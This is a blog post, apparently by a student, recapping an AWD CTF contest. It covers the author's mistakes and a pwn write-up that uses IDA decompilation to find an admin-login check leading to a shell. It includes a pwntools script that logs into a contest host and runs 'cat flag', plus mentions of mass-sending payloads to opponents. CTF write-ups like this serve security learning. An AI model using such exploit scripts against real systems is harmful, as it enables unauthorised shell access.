之前准备的waf和监控脚本都没用上,因为上了脚本后三台web服务器都变成了异常,但听学长都能用,所以不知道是哪里出了问题,之后都在忙着做pwn题和写脚本,以及手动上传flag,导致四台服务器全程裸奔,上午一度掉到了倒数四十多名,也就是倒数第三,所幸福建省内的pwn手较少,下午也是靠着pwn服务器进了前20名,拿了个优胜奖。 这一次自身的不足: 第一点是脚本编写能力不足,在没有网络的情况下没办法去查怎么用python的request直接往网页上传漏洞。最后只能让队友帮忙写四十多个python脚本,然后写一个执行所有python文件的bash脚本,就这么笨的方法我还要手动ctrl+c结束那些对方关闭pwn端口的程序。本来12点多做出了pwn题,但是吃饭和写脚本的一个多小时基本只能靠队友一个个端口发payload拿flag,下午也因为5分钟一轮3分多钟要花在复制粘贴提交flag上导致我没办法去patch pwn程序(因为不熟练,可能还要琢磨一两个小时)。 第二点是服务器异常没有及时重置服务器,导致了额外的失分,毕竟被攻陷一轮才丢5分,服务器异常则是10分。 第三点是准备不充分,之前明明了解了root权限下的防御方式,也看了提权的文章,这次比赛也是比较好提权的ubuntu16.04,结果没有提前准备提权的EXP,还是报了比赛期间也许不禁止手机的侥幸心理。 接下来是pwn的write up: 首先看main函数  
其中if语句判断admin账号是否登陆,如果admin登陆unk_6075A0为1,sub_402CA6返回1,那么通过验证获取shell(这一点可以通过直接输入1650553704,收到提示不是admin用户) 为此接下来查看登陆程序: 
这个程序非常长,我花了一上午没有看出来,主要是卡在各种函数不认识,比如fstream、open、is_open之类的,IDA每次出现这种std开头的超长函数都让我难以理解,可能是大脑抗拒去阅读它们吧,希望能早日适应。(其中name和password两个参数是我改名后的) std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(&name); std::operator<<<std::char_traits<char>>(&std::cout, "Please input you name: "); std::operator>><char,std::char_traits<char>,std::allocator<char>>(&std::cin, &name); std::operator<<<std::char_traits<char>>(&std::cout, "Please input you password: "); std::operator>><char,std::char_traits<char>>(&std::cin, &password); std::basic_fstream<char,std::char_traits<char>>::basic_fstream((__int64)&v23); std::basic_fstream<char,std::char_traits<char>>::open(&v23, aUserdata, 8LL); if ( (unsigned __int8)std::basic_fstream<char,std::char_traits<char>>::is_open((__int64)&v23) ^ 1 ) v1 = std::operator<<<std::char_traits<char>>(&std::cout, "can't open file "); v2 = std::operator<<<std::char_traits<char>>(v1, aUserdata); std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>); std::allocator<char>::allocator(&v28); std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(&v27, "tmp", &v28); v3 = sub_404F11(&name, &v27); std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&v27); std::allocator<char>::~allocator(&v28); v4 = std::operator<<<std::char_traits<char>>(&std::cout, aUserdata); std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>); sub_402ABE(&password, (__int64)&v18); std::allocator<char>::allocator(&v29); std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(&v17, &v18, &v29); std::allocator<char>::~allocator(&v29); std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(&v16); std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(&v15); while ( (unsigned __int8)std::basic_ios<char,std::char_traits<char>>::eof(&v24) ^ 1 ) v5 = std::operator>><char,std::char_traits<char>,std::allocator<char>>(&v23, &v16); std::operator>><char,std::char_traits<char>,std::allocator<char>>(v5, &v15); v6 = (unsigned __int8)sub_404F11(&v16, &name) || (unsigned __int8)sub_404F11(&v15, &v17); v7 = std::operator<<<std::char_traits<char>>(&std::cout, "welcome "); v8 = std::operator<<<char,std::char_traits<char>,std::allocator<char>>(v7, &name); std::ostream::operator<<(v8, &std::endl<char,std::char_traits<char>>); *a1 = sub_404F95((__int64)&v16, (__int64)"admin") != 0;//重点!!!! std::basic_fstream<char,std::char_traits<char>>::close(&v23); v9 = (unsigned __int8)sub_404F11(&v16, &name) && (unsigned __int8)sub_404FBF(&v15, &v17); v10 = std::operator<<<std::char_traits<char>>(&std::cout, "Password error!"); std::ostream::operator<<(v10, &std::endl<char,std::char_traits<char>>); std::basic_fstream<char,std::char_traits<char>>::close(&v23); v11 = (unsigned __int8)sub_404FBF(&v16, &name) && (unsigned __int8)sub_404F11(&v15, &v17); v12 = std::operator<<<std::char_traits<char>>(&std::cout, "username error!"); std::ostream::operator<<(v12, &std::endl<char,std::char_traits<char>>); std::basic_fstream<char,std::char_traits<char>>::close(&v23); std::basic_fstream<char,std::char_traits<char>>::close(&v23); v13 = std::operator<<<std::char_traits<char>>(&std::cout, "username does not exist!"); std::ostream::operator<<(v13, &std::endl<char,std::char_traits<char>>); std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&v15); std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&v16); std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&v17); std::basic_fstream<char,std::char_traits<char>>::~basic_fstream(&v23); return std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&name);
看似非常长的程序,其实就是读取根目录下的UserData文件,里面有三行,分别是账号admin guest ctf,空格后跟着一串加密后的密码,只要输入的账号密码与之匹配就行了。整段代码刨除一大堆判断是否能打开文件、账号密码是否匹配外,只有两行是我们需要的 *a1 = sub_404F95((__int64)&v16, (__int64)"admin") != 0; a1[1] = 1; 
可以看到只要输入的是admin,那么sub_402CA6就会返回1,从而通过if验证,这时候输入1650553704就能得到shell (其实我都没看完程序,因为中间没仔细看,没发现UserData里的密码是加密后的,因为没法解密就随便试出了账号与密码相同。。。) 构造payload #context.log_level = 'debug' s=remote("172.16.5.10",5066)#连接十号主机 s.sendlineafter("choose:","1")#选择登陆 s.sendlineafter("name: ","admin")#输入账号密码 s.sendlineafter("password: ","admin") s.sendlineafter("your choose:","1650553704")#选择执行system("/bin/sh") s.sendlineafter("shell:\n","cat flag")#获取flag
其实这次pwn服务器拿flag挺简单的,考察的只是看IDA代码的基本能力,花了两个多小时才拿到flag也是自己基本功不够。 最后再加上一些这次AWD学到的常识: 

说明书是这样的,其中登陆本地服务器就是输入172.16.9.0/24的网址,如果是web网页就直接输入ip地址 web服务器就用mobaXtern之类的ssh工具连接就好,pwn服务器也是一样。
|